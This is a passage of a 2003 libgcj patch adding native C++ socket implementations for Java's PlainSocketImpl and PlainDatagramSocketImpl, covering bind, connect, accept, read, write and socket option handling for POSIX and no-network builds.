501. + // Maybe not, see note in last paragraph at bottom of Stevens p. 497. + u.mreq6.ipv6mr_interface = 0; + len = sizeof (struct ipv6_mreq); + ptr = (const char *) &u.mreq6; + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (::setsockopt (fnum, level, opname, ptr, len) == 0) + return; + + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::setOption (jint optID, + java::lang::Object *value) +{ + int val; + socklen_t val_len = sizeof (val); + + if (fnum < 0) + throw new java::net::SocketException (JvNewStringUTF ("Socket closed")); + + if (_Jv_IsInstanceOf (value, &java::lang::Boolean::class$)) + { + java::lang::Boolean *boolobj = + static_cast (value); + val = boolobj->booleanValue() ? 1 : 0; + } + else if (_Jv_IsInstanceOf (value, &java::lang::Integer::class$)) + { + java::lang::Integer *intobj = + static_cast (value); + val = (int) intobj->intValue(); + } + // Else assume value to be an InetAddress for use with IP_MULTICAST_IF. + + switch (optID) + { + case _Jv_TCP_NODELAY_ : + throw new java::net::SocketException ( + JvNewStringUTF ("TCP_NODELAY not valid for UDP")); + return; + case _Jv_SO_LINGER_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_LINGER not valid for UDP")); + return; + case _Jv_SO_KEEPALIVE_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_KEEPALIVE not valid for UDP")); + return; + + case _Jv_SO_BROADCAST_ : + if (::setsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &val, + val_len) != 0) + goto error; + break; + + case _Jv_SO_OOBINLINE_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_OOBINLINE: not valid for UDP")); + break; + + case _Jv_SO_SNDBUF_ : + case _Jv_SO_RCVBUF_ : +#if defined(SO_SNDBUF) && defined(SO_RCVBUF) + int opt; + optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; + if (::setsockopt (fnum, SOL_SOCKET, opt, (char *) &val, val_len) != 0) + goto error; +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); +#endif + return; + case _Jv_SO_REUSEADDR_ : +#if defined(SO_REUSEADDR) + if (::setsockopt (fnum, SOL_SOCKET, SO_REUSEADDR, (char *) &val, + val_len) != 0) + goto error; +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_REUSEADDR not supported")); +#endif + return; + case _Jv_SO_BINDADDR_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_BINDADDR: read only option")); + return; + case _Jv_IP_MULTICAST_IF_ : + union InAddr u; + jbyteArray haddress; + jbyte *bytes; + int len; + int level, opname; + const char *ptr; + + haddress = ((java::net::InetAddress *) value)->addr; + bytes = elements (haddress); + len = haddress->length; + if (len == 4) + { + level = IPPROTO_IP; + opname = IP_MULTICAST_IF; + memcpy (&u.addr, bytes, len); + len = sizeof (struct in_addr); + ptr = (const char *) &u.addr; + } +// Tru64 UNIX V5.0 has struct sockaddr_in6, but no IPV6_MULTICAST_IF +#if defined (HAVE_INET6) && defined (IPV6_MULTICAST_IF) + else if (len == 16) + { + level = IPPROTO_IPV6; + opname = IPV6_MULTICAST_IF; + memcpy (&u.addr6, bytes, len); + len = sizeof (struct in6_addr); + ptr = (const char *) &u.addr6; + } +#endif + else + throw + new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (::setsockopt (fnum, level, opname, ptr, len) != 0) + goto error; + return; + + case _Jv_IP_MULTICAST_IF2_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF2: not yet implemented")); + break; + + case _Jv_IP_MULTICAST_LOOP_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_LOOP: not yet implemented")); + break; + + case _Jv_IP_TOS_ : + if (::setsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, + val_len) != 0) + goto error; + return; + + case _Jv_SO_TIMEOUT_ : + timeout = val; + return; + default : + errno = ENOPROTOOPT; + } + + error: + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); +} + +java::lang::Object * +java::net::PlainDatagramSocketImpl::getOption (jint optID) +{ + int val; + socklen_t val_len = sizeof(val); + union SockAddr u; + socklen_t addrlen = sizeof(u); + + switch (optID) + { + case _Jv_TCP_NODELAY_ : + throw new java::net::SocketException ( + JvNewStringUTF ("TCP_NODELAY not valid for UDP")); + break; + case _Jv_SO_LINGER_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_LINGER not valid for UDP")); + break; + case _Jv_SO_KEEPALIVE_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_KEEPALIVE not valid for UDP")); + break; + + case _Jv_SO_BROADCAST_ : + if (::getsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean (val != 0); + + case _Jv_SO_OOBINLINE_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_OOBINLINE not valid for UDP")); + break; + + case _Jv_SO_RCVBUF_ : + case _Jv_SO_SNDBUF_ : +#if defined(SO_SNDBUF) && defined(SO_RCVBUF) + int opt; + optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; + if (::getsockopt (fnum, SOL_SOCKET, opt, (char *) &val, &val_len) != 0) + goto error; + else + return new java::lang::Integer (val); +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); +#endif + break; + case _Jv_SO_BINDADDR_: + // cache the local address + if (localAddress == NULL) + { + jbyteArray laddr; + if (::getsockname (fnum, (sockaddr*) &u, &addrlen) != 0) + goto error; + if (u.address.sin_family == AF_INET) + { + laddr = JvNewByteArray (4); + memcpy (elements (laddr), &u.address.sin_addr, 4); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + laddr = JvNewByteArray (16); + memcpy (elements (laddr), &u.address6.sin6_addr, 16); + } +#endif + else + throw new java::net::SocketException ( + JvNewStringUTF ("invalid family")); + localAddress = new java::net::InetAddress (laddr, NULL); + } + return localAddress; + break; + case _Jv_SO_REUSEADDR_ : +#if defined(SO_REUSEADDR) + if (::getsockopt (fnum, SOL_SOCKET, SO_REUSEADDR, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean (val != 0); +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_REUSEADDR not supported")); +#endif + break; + case _Jv_IP_MULTICAST_IF_ : +#ifdef HAVE_INET_NTOA + struct in_addr inaddr; + socklen_t inaddr_len; + char *bytes; + + inaddr_len = sizeof(inaddr); + if (::getsockopt (fnum, IPPROTO_IP, IP_MULTICAST_IF, (char *) &inaddr, + &inaddr_len) != 0) + goto error; + + bytes = inet_ntoa (inaddr); + + return java::net::InetAddress::getByName (JvNewStringLatin1 (bytes)); +#else + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF: not available - no inet_ntoa()")); +#endif + break; + case _Jv_SO_TIMEOUT_ : + return new java::lang::Integer (timeout); + break; + + case _Jv_IP_MULTICAST_IF2_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF2: not yet implemented")); + break; + + case _Jv_IP_MULTICAST_LOOP_ : + if (::getsockopt (fnum, SOL_SOCKET, IP_MULTICAST_LOOP, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean (val != 0); + + case _Jv_IP_TOS_ : + if (::getsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Integer (val); + + default : + errno = ENOPROTOOPT; + } + + error: + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); +} + +#endif /* DISABLE_JAVA_NET */ Index: java/net/natPlainSocketImplNoNet.cc =================================================================== RCS file: java/net/natPlainSocketImplNoNet.cc diff -N java/net/natPlainSocketImplNoNet.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natPlainSocketImplNoNet.cc 17 Mar 2003 19:55:13 -0000 @@ -0,0 +1,124 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#include + +void +java::net::PlainSocketImpl::create (jboolean) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("SocketImpl.create: unimplemented")); +} + +void +java::net::PlainSocketImpl::bind (java::net::InetAddress *, jint) +{ + throw new BindException ( + JvNewStringLatin1 ("SocketImpl.bind: unimplemented")); +} + +void +java::net::PlainSocketImpl::connect (java::net::SocketAddress *, jint) +{ + throw new ConnectException ( + JvNewStringLatin1 ("SocketImpl.connect: unimplemented")); +} + +void +java::net::PlainSocketImpl::listen (jint) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("SocketImpl.listen: unimplemented")); +} + +void +java::net::PlainSocketImpl::accept (java::net::PlainSocketImpl *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("SocketImpl.accept: unimplemented")); +} + +void +java::net::PlainSocketImpl::setOption (jint, java::lang::Object *) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.setOption: unimplemented")); +} + +java::lang::Object * +java::net::PlainSocketImpl::getOption (jint) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.getOption: unimplemented")); +} + +jint +java::net::PlainSocketImpl::read(void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.read: unimplemented")); +} + +jint +java::net::PlainSocketImpl::read(jbyteArray buffer, jint offset, jint count) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.read: unimplemented")); +} + +void +java::net::PlainSocketImpl::write(jint b) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.write: unimplemented")); +} + +void +java::net::PlainSocketImpl::write(jbyteArray b, jint offset, jint len) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.write: unimplemented")); +} + +void +java::net::PlainSocketImpl::sendUrgentData(jint data) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.sendUrgentData: unimplemented")); +} + +jint +java::net::PlainSocketImpl::available(void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.available: unimplemented")); +} + +void +java::net::PlainSocketImpl::close(void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.close: unimplemented")); +} + +void +java::net::PlainSocketImpl::shutdownInput (void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.shutdownInput: unimplemented")); +} + +void +java::net::PlainSocketImpl::shutdownOutput (void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.shutdownOutput: unimplemented")); +} Index: java/net/natPlainSocketImplPosix.cc =================================================================== RCS file: java/net/natPlainSocketImplPosix.cc diff -N java/net/natPlainSocketImplPosix.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natPlainSocketImplPosix.cc 17 Mar 2003 19:55:13 -0000 @@ -0,0 +1,856 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#ifdef HAVE_SYS_IOCTL_H +#define BSD_COMP /* Get FIONREAD on Solaris2. */ +#include +#endif + +// Pick up FIONREAD on Solaris 2.5. +#ifdef HAVE_SYS_FILIO_H +#include +#endif + +#include +#include +#include +#include + +#if HAVE_BSTRING_H +// Needed for bzero, implicitly used by FD_ZERO on IRIX 5.2 +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +union SockAddr +{ + struct sockaddr_in address; +#ifdef HAVE_INET6 + struct sockaddr_in6 address6; +#endif +}; + +void +java::net::PlainSocketImpl::create (jboolean stream) +{ + int sock = _Jv_socket (AF_INET, stream ? SOCK_STREAM : SOCK_DGRAM, 0); + + if (sock < 0) + { + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); + } + + _Jv_platform_close_on_exec (sock); + + // We use fnum in place of fd here. From leaving fd null we avoid + // the double close problem in FileDescriptor.finalize. + fnum = sock; +} + +void +java::net::PlainSocketImpl::bind (java::net::InetAddress *host, jint lport) +{ + union SockAddr u; + struct sockaddr *ptr = (struct sockaddr *) &u.address; + jbyteArray haddress = host->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + int i = 1; + + if (len == 4) + { + u.address.sin_family = AF_INET; + + if (host != NULL) + memcpy (&u.address.sin_addr, bytes, len); + else + u.address.sin_addr.s_addr = htonl (INADDR_ANY); + + len = sizeof (struct sockaddr_in); + u.address.sin_port = htons (lport); + } +#ifdef HAVE_INET6 + else if (len == 16) + { + u.address6.sin6_family = AF_INET6; + memcpy (&u.address6.sin6_addr, bytes, len); + len = sizeof (struct sockaddr_in6); + u.address6.sin6_port = htons (lport); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + // Enable SO_REUSEADDR, so that servers can reuse ports left in TIME_WAIT. + ::setsockopt(fnum, SOL_SOCKET, SO_REUSEADDR, (char *) &i, sizeof(i)); + + if (_Jv_bind (fnum, ptr, len) == 0) + { + address = host; + socklen_t addrlen = sizeof(u); + + if (lport != 0) + localport = lport; + else if (::getsockname (fnum, (sockaddr*) &u, &addrlen) == 0) + localport = ntohs (u.address.sin_port); + else + goto error; + + return; + } + + error: + char* strerr = strerror (errno); + throw new java::net::BindException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainSocketImpl::connect (java::net::SocketAddress *addr, + jint timeout) +{ + java::net::InetSocketAddress *tmp = (java::net::InetSocketAddress*) addr; + java::net::InetAddress *host = tmp->getAddress(); + jint rport = tmp->getPort(); + + union SockAddr u; + socklen_t addrlen = sizeof(u); + jbyteArray haddress = host->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + struct sockaddr *ptr = (struct sockaddr *) &u.address; + if (len == 4) + { + u.address.sin_family = AF_INET; + memcpy (&u.address.sin_addr, bytes, len); + len = sizeof (struct sockaddr_in); + u.address.sin_port = htons (rport); + } +#ifdef HAVE_INET6 + else if (len == 16) + { + u.address6.sin6_family = AF_INET6; + memcpy (&u.address6.sin6_addr, bytes, len); + len = sizeof (struct sockaddr_in6); + u.address6.sin6_port = htons (rport); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (timeout > 0) + { + int flags = ::fcntl (fnum, F_GETFL); + ::fcntl (fnum, F_SETFL, flags | O_NONBLOCK); + + if ((_Jv_connect (fnum, ptr, len) != 0) && (errno != EINPROGRESS)) + goto error; + + fd_set rset; + struct timeval tv; + FD_ZERO(&rset); + FD_SET(fnum, &rset); + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + int retval; + + if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) + goto error; + else if (retval == 0) + throw new java::net::SocketTimeoutException + (JvNewStringUTF ("Connect timed out")); + } + else + { + if (_Jv_connect (fnum, ptr, len) != 0) + goto error; + } + + address = host; + port = rport; + + // A bind may not have been done on this socket; if so, set localport now. + if (localport == 0) + { + if (::getsockname (fnum, (sockaddr*) &u, &addrlen) == 0) + localport = ntohs (u.address.sin_port); + else + goto error; + } + + return; + + error: + char* strerr = strerror (errno); + throw new java::net::ConnectException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainSocketImpl::listen (jint backlog) +{ + if (::listen (fnum, backlog) != 0) + { + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); + } +} + +void +java::net::PlainSocketImpl::accept (java::net::PlainSocketImpl *s) +{ + union SockAddr u; + socklen_t addrlen = sizeof(u); + int new_socket = 0; + + // Do timeouts via select since SO_RCVTIMEO is not always available. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + fd_set rset; + struct timeval tv; + FD_ZERO(&rset); + FD_SET(fnum, &rset); + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + int retval; + if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) + goto error; + else if (retval == 0) + throw new java::io::InterruptedIOException ( + JvNewStringUTF("Accept timed out")); + } + + new_socket = _Jv_accept (fnum, (sockaddr*) &u, &addrlen); + + if (new_socket < 0) + goto error; + + _Jv_platform_close_on_exec (new_socket); + + jbyteArray raddr; + jint rport; + if (u.address.sin_family == AF_INET) + { + raddr = JvNewByteArray (4); + memcpy (elements (raddr), &u.address.sin_addr, 4); + rport = ntohs (u.address.sin_port); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + raddr = JvNewByteArray (16); + memcpy (elements (raddr), &u.address6.sin6_addr, 16); + rport = ntohs (u.address6.sin6_port); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid family")); + + s->fnum = new_socket; + s->localport = localport; + s->address = new InetAddress (raddr, NULL); + s->port = rport; + return; + + error: + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +// Close(shutdown) the socket. +void +java::net::PlainSocketImpl::close() +{ + // Avoid races from asynchronous finalization. + JvSynchronize sync (this); + + // should we use shutdown here? how would that effect so_linger? + int res = _Jv_close (fnum); + + if (res == -1) + { + // These three errors are not errors according to tests performed + // on the reference implementation. + if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + } + // Safe place to reset the file pointer. + fnum = -1; + timeout = 0; +} + +// Write a byte to the socket. +void +java::net::PlainSocketImpl::write(jint b) +{ + jbyte d =(jbyte) b; + int r = 0; + + while (r != 1) + { + r = _Jv_write (fnum, &d, 1); + if (r == -1) + { + if (java::lang::Thread::interrupted()) + { + java::io::InterruptedIOException *iioe + = new java::io::InterruptedIOException + (JvNewStringLatin1 (strerror (errno))); + iioe->bytesTransferred = 0; + throw iioe; + } + // Some errors should not cause exceptions. + if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + break; + } + } +} + +// Write some bytes to the socket. +void +java::net::PlainSocketImpl::write(jbyteArray b, jint offset, jint len) +{ + if (! b) + throw new java::lang::NullPointerException; + if (offset < 0 || len < 0 || offset + len > JvGetArrayLength (b)) + throw new java::lang::ArrayIndexOutOfBoundsException; + + jbyte *bytes = elements (b) + offset; + int written = 0; + + while (len > 0) + { + int r = _Jv_write (fnum, bytes, len); + + if (r == -1) + { + if (java::lang::Thread::interrupted()) + { + java::io::InterruptedIOException *iioe + = new java::io::InterruptedIOException + (JvNewStringLatin1 (strerror (errno))); + iioe->bytesTransferred = written; + throw iioe; + } + // Some errors should not cause exceptions. + if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + break; + } + + written += r; + len -= r; + bytes += r; + } +} + +void +java::net::PlainSocketImpl::sendUrgentData (jint) +{ + throw new SocketException (JvNewStringLatin1 ( + "PlainSocketImpl: sending of urgent data not supported by this socket")); +} + +// Read a single byte from the socket. +jint +java::net::PlainSocketImpl::read(void) +{ + jbyte b; + + // Do timeouts via select. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + // Create the file descriptor set. + fd_set read_fds; + FD_ZERO (&read_fds); + FD_SET (fnum,&read_fds); + // Create the timeout struct based on our internal timeout value. + struct timeval timeout_value; + timeout_value.tv_sec = timeout / 1000; + timeout_value.tv_usec = (timeout % 1000) * 1000; + // Select on the fds. + int sel_retval = + _Jv_select (fnum + 1, &read_fds, NULL, NULL, &timeout_value); + // If select returns 0 we've waited without getting data... + // that means we've timed out. + if (sel_retval == 0) + throw new java::io::InterruptedIOException + (JvNewStringUTF ("read timed out") ); + // If select returns ok we know we either got signalled or read some data... + // either way we need to try to read. + } + + int r = _Jv_read (fnum, &b, 1); + + if (r == 0) + return -1; + + if (java::lang::Thread::interrupted()) + { + java::io::InterruptedIOException *iioe = + new java::io::InterruptedIOException + (JvNewStringUTF("read interrupted")); + iioe->bytesTransferred = r == -1 ? 0 : r; + throw iioe; + } + else if (r == -1) + { + // Some errors cause us to return end of stream... + if (errno == ENOTCONN) + return -1; + + // Other errors need to be signalled. + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + } + + return b & 0xFF; +} + +// Read count bytes into the buffer, starting at offset. +jint +java::net::PlainSocketImpl::read(jbyteArray buffer, jint offset, jint count) +{ + if (! buffer) + throw new java::lang::NullPointerException; + + jsize bsize = JvGetArrayLength (buffer); + + if (offset < 0 || count < 0 || offset + count > bsize) + throw new java::lang::ArrayIndexOutOfBoundsException; + + jbyte *bytes = elements (buffer) + offset; + + // Do timeouts via select. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + // Create the file descriptor set. + fd_set read_fds; + FD_ZERO (&read_fds); + FD_SET (fnum, &read_fds); + // Create the timeout struct based on our internal timeout value. + struct timeval timeout_value; + timeout_value.tv_sec = timeout / 1000; + timeout_value.tv_usec =(timeout % 1000) * 1000; + // Select on the fds. + int sel_retval = + _Jv_select (fnum + 1, &read_fds, NULL, NULL, &timeout_value); + // We're only interested in the 0 return. + // error returns still require us to try to read + // the socket to see what happened. + if (sel_retval == 0) + { + java::io::InterruptedIOException *iioe = + new java::io::InterruptedIOException + (JvNewStringUTF ("read interrupted")); + iioe->bytesTransferred = 0; + throw iioe; + } + } + + // Read the socket. + int r = ::recv (fnum, (char *) bytes, count, 0); + + if (r == 0) + return -1; + + if (java::lang::Thread::interrupted()) + { + java::io::InterruptedIOException *iioe = + new java::io::InterruptedIOException + (JvNewStringUTF ("read interrupted")); + iioe->bytesTransferred = r == -1 ? 0 : r; + throw iioe; + } + else if (r == -1) + { + // Some errors cause us to return end of stream... + if (errno == ENOTCONN) + return -1; + + // Other errors need to be signalled. + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + } + + return r; +} + +// How many bytes are available? +jint +java::net::PlainSocketImpl::available(void) +{ +#if defined(FIONREAD) || defined(HAVE_SELECT) + long num = 0; + int r = 0; + bool num_set = false; + +#if defined(FIONREAD) + r = ::ioctl (fnum, FIONREAD, &num); + + if (r == -1 && errno == ENOTTY) + { + // If the ioctl doesn't work, we don't care. + r = 0; + num = 0; + } + else + num_set = true; +#elif defined(HAVE_SELECT) + if (fnum < 0) + { + errno = EBADF; + r = -1; + } +#endif + + if (r == -1) + { + posix_error: + throw new java::io::IOException(JvNewStringUTF(strerror(errno))); + } + + // If we didn't get anything we can use select. + +#if defined(HAVE_SELECT) + if (! num_set) + if (! num_set && fnum >= 0 && fnum < FD_SETSIZE) + { + fd_set rd; + FD_ZERO (&rd); + FD_SET (fnum, &rd); + struct timeval tv; + tv.tv_sec = 0; + tv.tv_usec = 0; + r = _Jv_select (fnum + 1, &rd, NULL, NULL, &tv); + if(r == -1) + goto posix_error; + num = r == 0 ? 0 : 1; + } +#endif /* HAVE_SELECT */ + + return (jint) num; +#else + throw new java::io::IOException (JvNewStringUTF ("unimplemented")); +#endif +} + +void +java::net::PlainSocketImpl::setOption (jint optID, java::lang::Object *value) +{ + int val; + socklen_t val_len = sizeof (val); + + if (fnum < 0) + throw new java::net::SocketException (JvNewStringUTF ("Socket closed")); + + if (_Jv_IsInstanceOf (value, &java::lang::Boolean::class$)) + { + java::lang::Boolean *boolobj = + static_cast (value); + if (boolobj->booleanValue()) + val = 1; + else + { + if (optID == _Jv_SO_LINGER_) + val = -1; + else + val = 0; + } + } + else if (_Jv_IsInstanceOf (value, &java::lang::Integer::class$)) + { + java::lang::Integer *intobj = + static_cast (value); + val = (int) intobj->intValue(); + } + else + { + throw new java::lang::IllegalArgumentException ( + JvNewStringLatin1 ("`value' must be Boolean or Integer")); + } + + switch (optID) + { + case _Jv_TCP_NODELAY_ : +#ifdef TCP_NODELAY + if (::setsockopt (fnum, IPPROTO_TCP, TCP_NODELAY, (char *) &val, + val_len) != 0) + goto error; +#else + throw new java::lang::InternalError + (JvNewStringUTF ("TCP_NODELAY not supported")); +#endif /* TCP_NODELAY */ + return; + + case _Jv_SO_KEEPALIVE_ : + if (::setsockopt (fnum, SOL_SOCKET, SO_KEEPALIVE, (char *) &val, + val_len) != 0) + goto error; + break; + + case _Jv_SO_BROADCAST_ : + throw new java::net::SocketException + (JvNewStringUTF ("SO_BROADCAST not valid for TCP")); + break; + + case _Jv_SO_OOBINLINE_ : + if (::setsockopt (fnum, SOL_SOCKET, SO_OOBINLINE, (char *) &val, + val_len) != 0) + goto error; + break; + + case _Jv_SO_LINGER_ : +#ifdef SO_LINGER + struct linger l_val; + l_val.l_onoff = (val != -1); + l_val.l_linger = val; + + if (::setsockopt (fnum, SOL_SOCKET, SO_LINGER, (char *) &l_val, + sizeof(l_val)) != 0) + goto error; +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_LINGER not supported")); +#endif /* SO_LINGER */ + return; + + case _Jv_SO_SNDBUF_ : + case _Jv_SO_RCVBUF_ : +#if defined(SO_SNDBUF) && defined(SO_RCVBUF) + int opt; + optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; + if (::setsockopt (fnum, SOL_SOCKET, opt, (char *) &val, val_len) != 0) + goto error; +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); +#endif + return; + + case _Jv_SO_BINDADDR_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_BINDADDR: read only option")); + return; + + case _Jv_IP_MULTICAST_IF_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF: not valid for TCP")); + return; + + case _Jv_IP_MULTICAST_IF2_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF2: not valid for TCP")); + break; + + case _Jv_IP_MULTICAST_LOOP_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_LOOP: not valid for TCP")); + break; + + case _Jv_IP_TOS_ : + if (::setsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, + val_len) != 0) + goto error; + break; + + case _Jv_SO_REUSEADDR_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_REUSEADDR: not valid for TCP")); + return; + + case _Jv_SO_TIMEOUT_ : + timeout = val; + return; + + default : + errno = ENOPROTOOPT; + } + + error: + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); +} + +java::lang::Object * +java::net::PlainSocketImpl::getOption (jint optID) +{ + int val; + socklen_t val_len = sizeof(val); + union SockAddr u; + socklen_t addrlen = sizeof(u); + struct linger l_val; + socklen_t l_val_len = sizeof(l_val); + + switch (optID) + { +#ifdef TCP_NODELAY + case _Jv_TCP_NODELAY_ : + if (::getsockopt (fnum, IPPROTO_TCP, TCP_NODELAY, (char *) &val, + &val_len) != 0) + goto error; + else + return new java::lang::Boolean (val != 0); +#else + throw new java::lang::InternalError + (JvNewStringUTF ("TCP_NODELAY not supported")); +#endif + break; + + case _Jv_SO_LINGER_ : +#ifdef SO_LINGER + if (::getsockopt (fnum, SOL_SOCKET, SO_LINGER, (char *) &l_val, + &l_val_len) != 0) + goto error; + + if (l_val.l_onoff) + return new java::lang::Integer (l_val.l_linger); + else + return new java::lang::Boolean ((jboolean)false); +#else + throw new java::lang::InternalError + (JvNewStringUTF ("SO_LINGER not supported")); +#endif + break; + + case _Jv_SO_KEEPALIVE_ : + if (::getsockopt (fnum, SOL_SOCKET, SO_KEEPALIVE, (char *) &val, + &val_len) != 0) + goto error; + else + return new java::lang::Boolean (val != 0); + + case _Jv_SO_BROADCAST_ : + if (::getsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean ((jboolean)val); + + case _Jv_SO_OOBINLINE_ : + if (::getsockopt (fnum, SOL_SOCKET, SO_OOBINLINE, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean ((jboolean)val); + + case _Jv_SO_RCVBUF_ : + case _Jv_SO_SNDBUF_ : +#if defined(SO_SNDBUF) && defined(SO_RCVBUF) + int opt; + optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; + if (::getsockopt (fnum, SOL_SOCKET, opt, (char *) &val, &val_len) != 0) + goto error; + else + return new java::lang::Integer (val); +#else + throw new java::lang::InternalError + (JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); +#endif + break; + case _Jv_SO_BINDADDR_: + // cache the local address + if (localAddress == NULL) + { + jbyteArray laddr; + + if (::getsockname (fnum, (sockaddr*) &u, &addrlen) != 0) + goto error; + + if (u.address.sin_family == AF_INET) + { + laddr = JvNewByteArray (4); + memcpy (elements (laddr), &u.address.sin_addr, 4); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + laddr = JvNewByteArray (16); + memcpy (elements (laddr), &u.address6.sin6_addr, 16); + } +#endif + else + throw new java::net::SocketException + (JvNewStringUTF ("invalid family")); + localAddress = new java::net::InetAddress (laddr, NULL); + } + + return localAddress; + break; + case _Jv_IP_MULTICAST_IF_ : + throw new java::net::SocketException + (JvNewStringUTF ("IP_MULTICAST_IF: not valid for TCP")); + break; + + case _Jv_IP_MULTICAST_IF2_ : + throw new java::net::SocketException + (JvNewStringUTF ("IP_MULTICAST_IF2: not valid for TCP")); + break; + + case _Jv_IP_MULTICAST_LOOP_ : + throw new java::net::SocketException + (JvNewStringUTF ("IP_MULTICAST_LOOP: not valid for TCP")); + break; + + case _Jv_IP_TOS_ : + if (::getsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, + 